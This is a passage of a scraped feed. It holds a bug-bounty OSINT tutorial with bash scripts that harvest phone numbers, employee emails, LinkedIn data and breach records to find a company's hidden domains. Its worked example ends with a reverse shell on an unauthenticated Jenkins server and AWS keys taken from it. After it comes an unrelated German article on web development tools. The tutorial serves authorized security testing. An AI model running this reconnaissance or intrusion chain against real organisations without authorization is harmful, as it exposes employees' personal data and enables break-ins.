Phone-to-Email-to-Domain Pipeline</h3><p>Here’s a practical automated pipeline that can be used for this workflow.</p><h3>Phase 1: Phone Number Collection &amp; Analysis</h3><pre>#!/bin/bash<br># phase1-phone-collect.sh<br>TARGET="$1"<br>DOMAIN="$2"<br><br>echo "[*] Phase 1: Phone Number Collection"<br><br># 1a. WHOIS extraction<br>whois "$DOMAIN" 2&gt;/dev/null | grep -oP '(\+?\d{1,3}[-.\s]?)?\(?\d{3}\)?[-.\s]?\d{3}[-.\s]?\d{4}' &gt; phones.txt<br><br># 1b. Web scraping for phone numbers<br>katana -u "https://$DOMAIN" -d 2 -silent | \<br>    grep -oP '(\+?\d{1,3}[-.\s]?)?\(?\d{3}\)?[-.\s]?\d{3}[-.\s]?\d{4}' &gt;&gt; phones.txt<br><br># 1c. Business directories<br>curl -s "https://api.opencorporates.com/v0.4/companies/search?q=$DOMAIN" | \<br>    jq -r '.results[].company.phone_number' 2&gt;/dev/null | grep -v null &gt;&gt; phones.txt<br><br># Deduplicate<br>sort -u phones.txt -o phones.txt<br>echo "[*] Found $(wc -l &lt; phones.txt) unique phone numbers"</pre><h3>Phase 2: Phone → Domain Mapping</h3><pre>#!/bin/bash<br># phase2-phone-to-domain.sh<br>TARGET="$1"<br><br>echo "[*] Phase 2: Phone to Domain Mapping"<br><br>while read PHONE; do<br>    echo "[*] Processing phone: $PHONE"<br>    <br>    # 2a. Reverse WHOIS by phone (if you have access)<br>    # DomainTools API<br>    # curl -s "https://api.domaintools.com/v1/$PHONE/domains/" -u "$USER:$KEY" | \<br>    #     jq -r '.response.domains[]' &gt;&gt; phone-domains.txt<br>    <br>    # 2b. SecurityTrails (manual or API)<br>    # curl -s "https://api.securitytrails.com/v1/search?query=whois.phone:$PHONE" \<br>    #     -H "APIKEY: $ST_KEY" | jq -r '.records[].hostname' &gt;&gt; phone-domains.txt<br>    <br>    # 2c. Breach data (authorized)<br>    # dehashed API<br>    # curl -s "https://api.dehashed.com/v1/search?query=phone:$PHONE" \<br>    #     -u "$EMAIL:$DEHASHED_KEY" | jq -r '.entries[].domain' &gt;&gt; phone-domains.txt<br>    <br>    sleep 1<br>done &lt; phones.txt<br><br>sort -u phone-domains.txt -o phone-domains.txt<br>echo "[*] Found $(wc -l &lt; phone-domains.txt) domains from phone numbers"</pre><h3>Phase 3: Email Collection</h3><pre>#!/bin/bash<br># phase3-email-collect.sh<br>DOMAIN="$1"<br><br>echo "[*] Phase 3: Email Collection"<br><br># 3a. Hunter.io<br>curl -s "https://api.hunter.io/v2/domain-search?domain=$DOMAIN&amp;api_key=$HUNTER_KEY" | \<br>    jq -r '.data.emails[].value' &gt; emails-hunter.txt<br><br># 3b. theHarvester<br>theHarvester -d "$DOMAIN" -b google,linkedin,github -f /dev/null 2&gt;/dev/null | \<br>    grep -oP '[a-zA-Z0-9._%+-]+@'"$DOMAIN" &gt; emails-harvester.txt<br><br># 3c. Skymem<br>curl -s "https://www.skymem.info/srch?q=$DOMAIN" | \<br>    grep -oP '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]*\.?'"$DOMAIN" &gt; emails-skymem.txt<br><br># 3d. Web page extraction<br>katana -u "https://$DOMAIN" -d 2 -silent | \<br>    grep -oP '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]*\.?'"$DOMAIN" &gt; emails-web.txt<br><br># 3e. JS file extraction<br>katana -u "https://$DOMAIN" -jc -silent | xargs -I{} curl -s {} 2&gt;/dev/null | \<br>    grep -oP '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]*\.?'"$DOMAIN" &gt; emails-js.txt<br><br># Combine<br>cat emails-hunter.txt emails-harvester.txt emails-skymem.txt emails-web.txt emails-js.txt | \<br>    sort -u &gt; emails.txt<br><br>echo "[*] Found $(wc -l &lt; emails.txt) unique email addresses"</pre><h3>Phase 4: Email → Domain Extraction</h3><pre>#!/bin/bash<br># phase4-email-to-domain.sh<br>DOMAIN="$1"<br><br>echo "[*] Phase 4: Email to Domain Extraction"<br><br># 4a. Extract all domains from email addresses<br>grep -oP '@[a-zA-Z0-9.-]+' emails.txt | sed 's/@//' | sort -u &gt; email-domains.txt<br><br># 4b. Remove the main domain (keep only non-obvious domains)<br>grep -v "$DOMAIN" email-domains.txt &gt; other-domains.txt<br><br>echo "[*] Found $(wc -l &lt; email-domains.txt) total domains from emails"<br>echo "[*] Found $(wc -l &lt; other-domains.txt) domains OUTSIDE the main domain"</pre><h3>Phase 5: LinkedIn → Name → Email → Domain</h3><pre>#!/bin/bash<br># phase5-linkedin-to-domains.sh<br>TARGET="$1"<br>DOMAIN="$2"<br><br>echo "[*] Phase 5: LinkedIn Name to Email to Domain"<br><br># 5a. Scrape LinkedIn for employees (manual or with tool)<br># linkedin_scraper -c "$TARGET" -o linkedin-employees.csv<br><br># 5b. Extract past companies from LinkedIn profiles<br># awk -F, '{print $3}' linkedin-employees.csv | sort -u &gt; past-companies.txt<br><br># 5c. For each past company, check if it's in scope<br>while read COMPANY; do<br>    echo "[*] Checking past company: $COMPANY"<br>    <br>    # Search for the company's domain<br>    domain_from_name=$(echo "$COMPANY" | tr '[:upper:]' '[:lower:]' | sed 's/ //g').com<br>    nslookup "$domain_from_name" &gt; /dev/null 2&gt;&amp;1 &amp;&amp; echo "$domain_from_name" &gt;&gt; past-company-domains.txt<br>    <br>done &lt; past-companies.txt<br><br># 5d. For each past company domain, check if acquired by target<br># Manual step: verify acquisition history</pre><h3>Phase 6: Cross-Reference and Subdomain Enumeration on New Domains</h3><pre>#!/bin/bash<br># phase6-subdomain-enum.sh<br>DOMAIN="$1"<br><br>echo "[*] Phase 6: Subdomain Enumeration on All Discovered Domains"<br><br># Combine all domain lists<br>cat phone-domains.txt other-domains.txt past-company-domains.txt | sort -u &gt; all-discovered-domains.txt<br><br># Run subdomain enumeration on each<br>while read DISCOVERED_DOMAIN; do<br>    echo "[*] Enumerating: $DISCOVERED_DOMAIN"<br>    <br>    # CT logs<br>    curl -s "https://crt.sh/?q=%25.$DISCOVERED_DOMAIN&amp;output=json" | \<br>        jq -r '.[].name_value' 2&gt;/dev/null &gt;&gt; all-subs.txt<br>    <br>    # Subfinder<br>    subfinder -d "$DISCOVERED_DOMAIN" -silent &gt;&gt; all-subs.txt<br>    <br>    # DNS brute-force<br>    puredns bruteforce ~/wordlists/subdomains.txt "$DISCOVERED_DOMAIN" \<br>        -r ~/resolvers.txt -q &gt;&gt; all-subs.txt<br>    <br>done &lt; all-discovered-domains.txt<br><br>sort -u all-subs.txt -o all-subs.txt<br>echo "[*] Total subdomains discovered: $(wc -l &lt; all-subs.txt)"</pre><h3>Part VI: The Complete Real-World Workflow</h3><p>To understand how this methodology works in practice, let's walk through an anonymized example of how phone numbers, emails, and public intelligence can reveal hidden assets. payflow.com</p><h3>08:00 — Phone Collection</h3><pre># WHOIS<br>whois payflow.com | grep -E "Phone|Tel"<br># +1 (415) 555-0100<br><br># Contact page<br>katana -u https://payflow.com/contact -d 1 | grep -oP '(\+?\d{1,3}[-.\s]?)?\(?\d{3}\)?[-.\s]?\d{3}[-.\s]?\d{4}'<br># +1 (415) 555-0100 (same)<br># +1 (512) 555-0200 (different — Austin)<br><br># Business registry<br>curl -s "https://api.opencorporates.com/v0.4/companies/search?q=payflow" | \<br>    jq -r '.results[].company.phone_number'<br># +1 (512) 555-0200<br># +1 (512) 555-0300 (NEW — unknown)</pre><p>Phone numbers collected:</p><ul><li>+1 (415) 555-0100 (San Francisco — HQ)</li><li>+1 (512) 555-0200 (Austin — known office)</li><li>+1 (512) 555-0300 (Austin — UNKNOWN)</li></ul><h3>08:30 — Phone → Domain</h3><pre># SecurityTrails reverse WHOIS by phone<br># +1 (512) 555-0300 → registered to:<br># payflow-holdings.com<br># payflow-ventures.com<br># pf-internal.com</pre><p>New domains discovered:</p><ul><li>payflow-holdings.com — Holding company</li><li>payflow-ventures.com — Venture arm</li><li>pf-internal.com — INTERNAL DOMAIN</li></ul><h3>09:00 — Email Collection</h3><pre># Hunter.io: 847 emails<br># theHarvester: 312 emails<br># Skymem: 1,204 emails<br># Web scraping: 89 emails<br># JS files: 34 emails<br># Total unique: 1,892 emails</pre><h3>09:30 — Email → Domain Extraction</h3><pre>grep -oP '@[a-zA-Z0-9.-]+' emails.txt | sed 's/@//' | sort -u<br><br># Unique domains found in emails (excluding payflow.com):<br># payflow.io (known)<br># payflow.co (NEW)<br># payflow-engineering.com (NEW — engineering team domain)<br># pf-payments.com (NEW — payments processing domain)<br># payflow-benefits.com (NEW — HR/benefits domain)</pre><h3>10:00 — GitHub Cross-Reference</h3><pre># Searched for devops@payflow.com on GitHub<br># Found GitHub user: payflow-devops<br># Scanned repos for domain references<br><br># Found in deploy configs:<br># monitoring.internal.payflow.com<br># logs.internal.payflow.com<br># ci.internal.payflow.com</pre><h3>10:30 — Subdomain Enumeration on New Domains</h3><pre># On pf-internal.com:<br>subfinder -d pf-internal.com -silent<br># vpn.pf-internal.com (LIVE)<br># jenkins.pf-internal.com (LIVE)<br># git.pf-internal.com (LIVE)<br><br># On payflow-engineering.com:<br>subfinder -d payflow-engineering.com -silent<br># dev.payflow-engineering.com (LIVE)<br># staging.payflow-engineering.com (LIVE)<br># api.payflow-engineering.com (LIVE)</pre><h3>11:00 — Priority Assessment</h3><p>P0:</p><ol><li>vpn.pf-internal.com — VPN portal (potential credential access)</li><li>jenkins.pf-internal.com — Jenkins (potential RCE)</li><li>pf-internal.com — Internal domain (potential for more discovery)</li></ol><p>P1: 4. payflow-engineering.com — Engineering domain (dev/staging instances) 5. payflow-holdings.com — Holding company (potential subsidiary assets) 6. monitoring.internal.payflow.com — Monitoring (potential Grafana/Prometheus)</p><h3>11:30 — Attack Phase</h3><p>Jenkins on pf-internal.com:</p><ul><li>No authentication required</li><li>Created a freestyle project with a reverse shell</li><li>Got shell access to the Jenkins server</li><li>Jenkins had AWS keys in environment variables</li><li>AWS keys had full admin access to production</li></ul><p>Chain: 1 phone number → 3 unknown phone numbers → 1 unknown domain → 3 subdomains → 1 Jenkins server → AWS root access.</p><h3>Part VII: Tool Reference Guide</h3><h4>Phone Number Tools</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*XnmWQ7exrxpOTsRHnIQ2qw.png"><figcaption>Phone Number Tools</figcaption></figure><h4>Email Collection Tools</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*z4tA68XnkqGoK0X9Ey7C3A.png"><figcaption>Email Collection Tools</figcaption></figure><h4>Cross-Reference Tools</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*IheT9-nPyVGeBaBpR9-gaQ.png"><figcaption>Cross-Reference Tools</figcaption></figure><h3>Part VIII: Common Mistakes (From Personal Experience)</h3><h3>Mistake 1: Not Checking All Phone Numbers from WHOIS</h3><p>A common mistake is finding one phone number in WHOIS and stopping too early, ran my reverse search, and stopped. There were actually three different phone numbers across different domains — I missed two.</p><p>Fix: Extract EVERY phone number from EVERY WHOIS record for EVERY domain you find.</p><h3>Mistake 2: Ignoring Email Domains That Don’t Match the Target</h3><p>What happened: I collected 2,000 emails for target.com. I filtered out everything that wasn't @target.com. I missed the 200 emails with @target-engineering.com, @target-holdings.com, and @target-benefits.com — all of which were owned by the same company.</p><p>Fix: Extract ALL unique domains from your email collection, not just the primary domain.</p><h3>Mistake 3: Not Checking LinkedIn Past Companies</h3><p>What happened: An employee’s LinkedIn profile showed they previously worked at acme-solutions.com. I ignored it. Acme Solutions had been acquired by my target three years prior. Its infrastructure was in scope but I never checked it.</p><p>Fix: Scrape past companies from LinkedIn profiles and cross-reference with acquisition history.</p><h3>Mistake 4: Not Running Subdomain Enumeration on Each New Domain</h3><p>What happened: I found pf-internal.com and added it to my list. I didn't run subfinder or CT log queries against it. vpn.pf-internal.com was sitting there the whole time.</p><p>Fix: Run full subdomain enumeration on EVERY domain you discover, no exceptions.</p><h3>Mistake 5: Stopping After One Round</h3><p>What happened: I discovered new domains, ran subfinder once, and started attacking. I didn’t recurse. Some of those new domains had their own subdomains, and those subdomains had their own CT logs.</p><p>Fix: Recursive enumeration. Every new domain → full acquisition pipeline → find more domains → repeat.</p><h3>Bug Hunter Acquisition Checklist — Phone &amp; Email Edition</h3><h3>☐ Phone Number Collection</h3><ul><li>☐ WHOIS records extracted for all discovered domains</li><li>☐ Contact/scraped pages (main site, subdomains, subsidiaries)</li><li>☐ Business registries checked (OpenCorporates, state registries)</li><li>☐ SEC filings reviewed (10-K, 10-Q, S-1)</li><li>☐ Press releases and news articles mined</li><li>☐ Social media profiles checked (LinkedIn, Twitter, Facebook)</li><li>☐ Breach data queried (with authorization)</li></ul><h3>☐ Phone Number Analysis</h3><ul><li>☐ VOIP provider identified for each number</li><li>☐ Area codes mapped to physical office locations</li><li>☐ Multi-number comparison for organizational structure</li><li>☐ Extension patterns identified</li><li>☐ Reverse WHOIS by phone number completed</li><li>☐ Business registry search by phone completed</li><li>☐ Phone number range scanning (if applicable)</li></ul><h3>☐ Phone → Domain Mapping</h3><ul><li>☐ Reverse WHOIS for every unique phone number</li><li>☐ Business registry domain mapping</li><li>☐ Carrier/VOIP provider infrastructure checked</li><li>☐ Support portal domains discovered (Zendesk, Freshdesk, etc.)</li><li>☐ VOIP admin console exposure checked</li><li>☐ Webhook endpoint testing (if Twilio/RingCentral identified)</li></ul><h3>☐ Email Collection</h3><ul><li>☐ Hunter.io domain search completed</li><li>☐ theHarvester multi-source harvest completed</li><li>☐ Skymem cross-reference completed</li><li>☐ Web page email extraction completed</li><li>☐ JavaScript file email extraction completed</li><li>☐ LinkedIn employee name scraping completed</li><li>☐ GitHub commit email extraction completed</li><li>☐ Mailing list/public forum extraction completed</li><li>☐ Breach data email extraction (with authorization)</li></ul><h3>☐ Email → Domain Extraction</h3><ul><li>☐ All unique domains extracted from email addresses</li><li>☐ Primary domain filtered out to reveal hidden domains</li><li>☐ Subsidiary/acquired company domains identified</li><li>☐ Internal/private domains identified</li><li>☐ Third-party service domains identified</li><li>☐ Employee personal domains identified</li></ul><h3>☐ Email → GitHub → Domain Chain</h3><ul><li>☐ GitHub accounts found for employee emails</li><li>☐ Repos and commits scanned for domain references</li><li>☐ Organization discovery completed</li><li>☐ Config files and environment vars checked</li><li>☐ Hardcoded endpoints extracted</li><li>☐ S3 bucket names and cloud resources extracted</li></ul><h3>☐ Email → Service → Domain Chain</h3><ul><li>☐ Atlassian (Jira/Confluence) instance discovered</li><li>☐ Slack workspace discovered</li><li>☐ Microsoft 365 tenant discovered</li><li>☐ Google Workspace tenant discovered</li><li>☐ Zendesk/Freshdesk/Helpscout portal discovered</li><li>☐ Status page hosted domain discovered</li><li>☐ Documentation/wiki hosted domain discovered</li></ul><h3>☐ Full Subdomain Enumeration on New Domains</h3><ul><li>☐ CT log queries (crt.sh, certspotter) for each new domain</li><li>☐ Passive DNS queries (SecurityTrails, VirusTotal)</li><li>☐ Subdomain brute-force (subfinder, puredns, massdns)</li><li>☐ Permutation-based discovery (alterx, gotator, dmut)</li><li>☐ Recursive enumeration (each subdomain → parent as new target)</li><li>☐ Wayback Machine historical subdomain discovery</li><li>☐ Technology fingerprinting (httpx, whatweb)</li><li>☐ HTTP response analysis (live vs. dead, redirects, error pages)</li></ul><h3>☐ Cross-Reference Validation</h3><ul><li>☐ Phone numbers matched to discovered domains</li><li>☐ Emails matched to discovered domains</li><li>☐ LinkedIn past companies cross-referenced with acquisitions</li><li>☐ GitHub profiles cross-referenced with company email domains</li><li>☐ Breach data cross-referenced (correlates emails, phones, domains)</li><li>☐ Scope validation for every newly discovered asset</li></ul><h3>☐ Continuous Monitoring</h3><ul><li>☐ Daily CT log monitoring for new subdomains on discovered domains</li><li>☐ Weekly phone number re-check (new WHOIS entries)</li><li>☐ Weekly email re-harvesting (new employees, new domains)</li><li>☐ GitHub monitoring for new employee commits</li><li>☐ Acquisition news monitoring (Google Alerts, Crunchbase)</li><li>☐ LinkedIn employee movement tracking</li><li>☐ Quarterly full pipeline re-run</li></ul><h3>Final Technical Notes</h3><h3>Why This Works at Scale</h3><p>The average Fortune 500 company has:</p><ul><li>50–200 registered domains</li><li>10–50 subsidiaries/acquired entities</li><li>2,000–20,000 employees</li><li>5–20 different phone numbers</li></ul><p>DNS brute-force will find maybe 30–50% of the subdomains on the main domain. It will find almost none of the subdomains on other domains.</p><p>Phone and email OSINT finds the other domains. Then you run DNS brute-force on those. The result is a 3–5x increase in discovered attack surface.</p><h3>The Data Flow</h3><pre>Phone Number → Reverse WHOIS → New Domains<br>Phone Number → Business Registry → Legal Entities → New Domains<br>Phone Number → VOIP Provider → Admin Console → Subdomains<br><br>Email Address → Hunter.io → Cross-Company Domains<br>Email Address → GitHub → Repos → Configs → Domains<br>Email Address → Breach Data → Service Registrations → Domains<br>Email Address → LinkedIn → Past Companies → Acquired Domains<br><br>New Domains → Subdomain Enumeration → Attack Surface</pre><h3>A Final Word on Authorization</h3><p>Everything in this blog assumes you have explicit written authorization to test the target’s assets. I do not share the names of actual targets. All examples are anonymized composites of real engagements.</p><p>If you’re new to bug bounty:</p><ol><li>Start with public programs on HackerOne/Bugcrowd that explicitly allow OSINT</li><li>Never use breach data unless the program explicitly permits it</li><li>Never use social engineering unless the program explicitly permits it</li><li>When in doubt, ask the program’s security team</li></ol><p>Disclaimer: Only for authorized bug bounty / pentesting environments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*o-3pvh96SZd-YMZS.png"><figcaption>Follow US</figcaption></figure><p><em>GitHub: </em><a href="https://github.com/SecurityTalent"><em>SecurityTalent</em></a><em> | Medium: </em><a href="https://medium.com/@securitytalent"><em>Security Talent</em></a><em> | Twitter: </em><a href="https://twitter.com/Securi3yTalent"><em>Securi3yTalent</em></a><em> </em>| Facebook: <a href="https://www.facebook.com/Securi3ytalent/">Securi3ytalent</a> | Telegram: <a href="https://t.me/Securi3yTalent">Securi3yTalent</a></p><p>#BugBounty #OSINT #CyberSecurity #EthicalHacking #Infosec #PenetrationTesting #AttackSurface #SubdomainEnumeration #ThreatHunting #SecurityResearch #RedTeam #DigitalFootprint #CyberSecurity #BugBounty #BugBountyHunter #EthicalHacking #InfoSec #WebSecurity #ApplicationSecurity #AppSec #CloudSecurity #FrontendSecurity #WebDevelopment #JavaScript #ReactJS #Laravel #NodeJS #DevSecOps #OWASP #SecretsManagement #GitHub #GitHubDorks #SourceMaps #EnvFiles #SecurityResearch #PenetrationTesting #RedTeam #BlueTeam #CloudComputing #AWS #Azure #GoogleCloud #VibeCoding #AI #SecureCoding #DeveloperSecurity #TechBlog #Programming</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=16b1e7d533cd" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/phone-numbers-and-emails-to-hidden-subdomains-the-osint-acquisition-pipeline-that-uncovered-a-16b1e7d533cd">Phone Numbers and Emails to Hidden Subdomains: The OSINT Acquisition Pipeline That Uncovered a…</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Web Development Tools – 8 innovative Optionen]]></title>
<description><![CDATA[Neue Wege in Sachen Web Development beschreiten? Mit diesen acht Tools klappt das bestens.dotshock | shutterstock.com



In der Webentwicklung gibt es keinen vorgegebenen Weg. In einer Sache sind sich jedoch alle einig: Es ist höchste Zeit für ein „Great Unbloating“: Das Web Development muss von ...]]></description>
<link>https://tsecurity.de/de/3600602/it-security-nachrichten/web-development-tools-8-innovative-optionen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3600602/it-security-nachrichten/web-development-tools-8-innovative-optionen/</guid>
<pubDate>Tue, 16 Jun 2026 06:05:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2024/08/0_dotshock_shutterstock_2312374465_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="App Developer Testing 16z9 SHUTTERSTOCK EDITORIAL GERMANY ONLY" class="wp-image-3497299" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Neue Wege in Sachen Web Development beschreiten? Mit diesen acht Tools klappt das bestens.</figcaption></figure><p class="imageCredit">dotshock | shutterstock.com</p></div>



<p>In der <a href="https://www.computerwoche.de/article/2802920/was-macht-ein-web-developer.html" target="_blank">Webentwicklung</a> gibt es keinen vorgegebenen Weg. In einer Sache sind sich jedoch alle einig: Es ist höchste Zeit für ein „Great Unbloating“: Das Web Development muss von schwerfälliger Komplexität befreit werden. Wie das funktionieren kann, zeigen die acht Tools, die wir Ihnen in diesem Beitrag vorstellen.</p>



<p>Diese zeichnet aus, dass sie sich (größtenteils) mit alternativen Ansätzen befassen, die das Bewährte in Frage stellen. Auch wenn Sie die hier vorgestellten Lösungen nicht direkt für Ihre Zwecke einsetzen können, lohnt es sich also dennoch, sie im Auge zu behalten.</p>



<h2 class="wp-block-heading">1. <a href="https://astro.build/" target="_blank" rel="noreferrer noopener">Astro</a></h2>



<p>Wenn man eine Gruppe klassischer Musiker mit Noten in einen Raum setzt und sie einfach spielen lässt, <em>könnte </em>das Ergebnis ein stimmiges Stück sein. Wahrscheinlich braucht es aber einen Dirigenten, der alles koordiniert. In Zusammenhang mit Frontend-Frameworks ist <a href="https://www.computerwoche.de/article/3834789/astro-tutorial-plug-play-webentwicklung.html" target="_blank">Astro</a> genau das – ein Maestro.</p>



<p>Astro kümmert sich um die „<a href="https://www.infoworld.com/article/2335507/reactive-javascript-the-evolution-of-front-end-architecture.html" target="_blank">Hydration</a>“ des Frontends, also den Prozess, die Shell reaktiv zu machen. Beim konventionellen Server-Side Rendering (SSR) sendet der Server nicht nur den HTML-Code, sondern auch die riesige Framework-Runtime über das Netzwerk – nur um der Seite Event-Listener hinzuzufügen. Mit Astro ist es möglich, Komponenten in React, Svelte, Vue oder Solid zu schreiben – der Compiler des Tools entfernt dabei das gesamte JavaScript, bevor es den Browser erreicht. Astro liefert standardmäßig Zero JS aus und verlässt sich auf seine „<a href="https://docs.astro.build/en/concepts/islands/" target="_blank" rel="noreferrer noopener">Island Architecture</a>“, um nur die spezifischen Komponenten zu hydrieren, die Interaktivität erfordern.</p>



<p>Da Astro die Interaktivität in separaten „Inseln“ isoliert, ist es im Vergleich zu einer monolithischen Single-Page-Anwendung grundsätzlich schwieriger, komplexe States (etwa eine komplexe Seitenleiste mit Filterfunktion, die mit einem separaten dynamischen Data Grid kommuniziert) zwischen diesen Inseln zu teilen. Wenn Sie eine hochgradig interaktive, Dashboard-lastige Applikation entwickeln, in der jede Komponente die andere beeinflusst, könnten sich die isolierten Inseln eher nach Zwangsjacke als nach Befreiung anfühlen.</p>



<p><strong>Auch interessant:</strong> <a href="https://www.computerwoche.de/article/2833386/die-besten-javascript-frameworks-im-vergleich.html" target="_blank">Qwik</a>. Während Astro verschlankt, indem es den JavaScript-Code vollständig entfernt, setzt Qwik auf Verzögerung: Es liefert sofort HTML und serialisiert den Anwendungsstatus. Dabei wird nur der für eine bestimmte Interaktion erforderliche JavaScript-Code genau in der Millisekunde heruntergeladen und ausgeführt, in der der User auf die entsprechende Schaltfläche klickt.</p>



<h2 class="wp-block-heading">2. <a href="https://biomejs.dev/" target="_blank" rel="noreferrer noopener">Biome</a></h2>



<p><a href="https://www.computerwoche.de/article/2816993/7-gruende-rust-zu-hassen-und-zu-lieben.html" target="_blank">Rust</a> ersetzt nach und nach die zugrundeliegende Infrastruktur im JavaScript-Ökosystem. Das verleiht dem Biome-Tool seine Hardware-ähnliche Geschwindigkeit. Das Alleinstellungsmerkmal dieses Dev-Werkzeugs ist es allerdings, die weitläufige Webentwicklungs-Toolchain zu vereinheitlichen.  </p>



<p>Wenn die <code>.eslintrc</code>– und <code>.prettierrc</code>-Dateien sowie die Dutzenden zugehörigen Plugins in Ihrem Projekt bereits zu einem dunklen, unzufriedenstellenden Sumpf verkommen sind, ist Biome der Ausweg: Das Tool besteht aus einer einzelnen Binary, die komplett verworrene Foramtierungs- und Linting-Ökosysteme substituiert – und damit einen Weg zu Codequalität eröffnet, der ganz ohne ein weit verzweigtes Netz von Abhängigkeiten auskommt. </p>



<p>Der wohl größte Nachteil von Biome ist dabei gleichzeitig auch das Feature, das das Tool so schlank macht: Die Erweiterbarkeit geht verloren.</p>



<p><strong>Auch interessant:</strong> <a href="https://rspack.rs/" target="_blank" rel="noreferrer noopener">Rspack</a>. Biome bereinigt das Linting, Rspack entschlackt den Build-Schritt. Auch dieses Tool basiert auf Rust für mehr Geschwindigkeit. Dabei nutzt es – etwa im Gegensatz zu Vite – den „bundled“ Dev-Modus.</p>



<h2 class="wp-block-heading">3. <a href="https://bun.com/" target="_blank" rel="noreferrer noopener">Bun</a></h2>



<p>Die meisten gut informierten JavaScript-Enthusiasten dürften längst mit Bun vertraut sein. Wenn Sie die faszinierende Kombination aus All-in-One-Lösung und atemberaubender Geschwindigkeit noch nicht selbst erlebt haben, wird es Zeit. </p>



<p>Wenn Sie an <a href="https://www.infoworld.com/article/2254485/what-is-nodejs-javascript-runtime-explained.html">Node</a> gewöhnt sind und Bun ausprobieren, werden Sie sehr wahrscheinlich sofort davon beeindruckt sein, wie schnell Befehle ausgeführt werden. Das Bun-Team hat zudem über mehrere Jahre hinweg umfangreiche Anstrengungen unternommen, um seine Engine eng an die APIs von Node anzupassen. Das macht Bun zu einer außergewöhnlichen technischen Errungenschaft, die jeder JavaScript-Entwickler zumindest explorieren sollte.</p>



<p>Obwohl Buns <a href="https://www.computerwoche.de/article/2821852/die-moderne-c-alternative.html" target="_blank">Zig</a>-basierte Engine in vielerlei Hinsicht ein direkter Ersatz für Node ist: Sie ist nicht perfekt – insbesondere angesichts der gigantischen Anzahl von Node-Packages, die existieren. Deshalb bleibt Node auch die beste bewährte, konservative, Engine für serverseitiges JavaScript.</p>



<p><strong>Auch interessant:</strong> <a href="https://www.infoworld.com/article/2256205/what-is-deno-a-better-nodejs.html">Deno</a>. Bun hat sich zwar zu Recht einen Ruf als innovatives Tool erarbeitet – allerdings wurde Deno still und leise um eine Reihe attraktiver Enterprise-Funktionen ergänzt – etwa eine integrierte Bereitstellungsplattform und das Frontend-Framework <a href="https://www.infoworld.com/article/3523813/intro-to-deno-fresh-a-fresh-take-on-full-stack-javascript.html" target="_blank">Deno Fresh</a>.</p>



<h2 class="wp-block-heading">4. <a href="https://htmx.org/" target="_blank" rel="noreferrer noopener">HTMX</a></h2>



<p>Wenn es um smarte Wege geht, das Web zu vereinfachen, könnte man <a href="https://www.computerwoche.de/article/2833138/dynamisches-html-ohne-javascript.html" target="_blank">HTMX</a> durchaus als Paradebeispiel anführen. Das Projekt greift die Kernmechanismen moderner Web-Clients wie <a href="https://developer.mozilla.org/en-US/docs/Glossary/AJAX" target="_blank" rel="noreferrer noopener">Ajax</a> sowie partielle Aktualisierungen auf und wandelt diese in einfache HTML-Attribute um. Das hat zur Folge, dass der State ausschließlich auf dem Server gespeichert wird, der dafür zuständig ist, die HTMX-Fragmente zu senden.</p>



<p>Natürlich läuft das nicht ohne Kompromisse ab. Einer ist die extreme Abhängigkeit vom Netzwerk: Da es keine Client-seitige State Machine gibt, ist der Browser ohne Verbindung zum Server hilflos. Es sei denn, Sie wagen sich an Experimente mit einem <a href="https://www.computerwoche.de/article/4142269/der-browser-wird-zur-datenbank.html" target="_blank">„local-first“-Data Store</a>. Kurz gesagt: Wenn Ihre App in den Anwendungsbereich von HTMX fällt, ist HTMX wahrscheinlich der direkteste „<a href="https://www.computerwoche.de/article/2827943/was-ist-rest.html" target="_blank">RESTful</a>-Weg“, um diese zu erstellen.</p>



<p><strong>Auch interessant:</strong> <a href="https://www.infoworld.com/article/4100499/intro-to-hotwire-interactive-javascript-built-from-html.html" target="_blank">Hotwire</a>. Als Tool-Sammlung, um Single-Page-Anwendungen unter Verwendung von HTML über das Netzwerk zu erstellen, verfügt Hotwire über großartige Funktionen wie Page Morphing. Getreu der klassischen „Free as in Speech“-Softwarekultur werden Ideen zwischen den Projektverantwortlichen von HTMX und Hotwire ausgetauscht.</p>



<h2 class="wp-block-heading">5. <a href="https://powersync.com/" target="_blank" rel="noreferrer noopener">PowerSync</a></h2>



<p>Auch wenn die „Local-First“-Datenrevolution, für die <a href="https://www.infoworld.com/article/4163910/the-front-end-architecture-trilemma-reactivity-vs-hypermedia-vs-local-first-apps.html" target="_blank">PowerSync</a> steht, einen ausgiebigen technischen Deepdive erfordert: Der Kernansatz besteht darin, die Art und Weise, wie Daten in der Webarchitektur fließen, grundlegend neu zu gestalten. Das sollte jeder Webentwickler im Blick behalten.  </p>



